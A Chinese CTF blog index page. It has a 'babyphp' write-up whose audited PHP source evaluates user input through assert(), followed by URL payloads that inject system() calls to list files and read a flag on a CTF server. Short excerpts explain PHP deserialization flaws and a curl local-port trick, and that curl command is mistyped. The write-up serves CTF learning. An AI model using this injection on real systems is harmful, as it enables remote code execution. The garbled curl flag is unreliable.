Ashing's Blog

想学的太多 懂得的太少

0%

babyphp

描述里面发现使用了 Git,直接御剑爆破出 .git 目录。利用工具扒下源码,审计一波。 源码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

assert 函数果断是常见的危险函数。如果第一个参数是字符串会当作为代码执行。构造payload:

1
http://web.jarvisoj.com:32798/?page=flag'.system("ls templates/;").' http://web.jarvisoj.com:32798/?page=flag'.system("cat templates/flag.php;").'
阅读全文 »

接着上篇继续讲:反序列化漏洞

0x01 本质无害

  • 反序列化的数据本质上来说是没有危害的

  • 用户可控数据进行反序列化是存在危害的

0x02 漏洞根源

  • 根本原因:程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。

  • 这个漏洞的形成是由于跟serialize和unserialize相关的magic函数违背正确利用的缘故。 在反序列化时,如果反序列化对象中存在魔法函数,使用unserialize()函数同时也会触发。这样,一旦我们能够控制unserialize()入口,那么就可能引发对象注入漏洞。

阅读全文 »

之前看过反序列化的漏洞,不算是很系统。昨天和小伙伴正好遇到了一道反序列化的题目,借此总结一下。分俩个部分:

  • 1.序列化、反序列化的理解

  • 2.反序列化漏洞的成因及利用

0x01 什么是序列化?

  • 序列化: 将数据结构或对象转换成字节序列、二进制串的过程。

  • 反序列化:将在序列化过程中所生成的二进制串转换成数据结构或者对象的过程。

  • 注: 字节序是指多字节数据在计算机内存中存储或者网络传输时各字节的存储顺序。

0x02 用处

阅读全文 »

PORT51

一上来看有点懵逼,以为是Burp抓包。最后 google 后发现应该在 vps 上(不用 vps 的话经过路由器可能端口就变了)用以下命令就可以。

1
curl --ocal-port http://xxx.com

之前没有接触过 curl,只是在 docker 里面用过一次。

1
2
curl就是:Linux中利用 URL 规则在命令行下工作的文件传输工具,可以说是一款很强大的 http 命令行工具。它支持文件的上传和下载,是综合传输工具,但按传统,习惯称 curl 为下载工具。 
由于安装linux的时候很多时候是没有安装桌面的,也意味着没有浏览器,因此这个方法也经常用于测试一台服务器是否可以到达一个网站。 当然也可以进行ip伪造等等测试操作。
阅读全文 »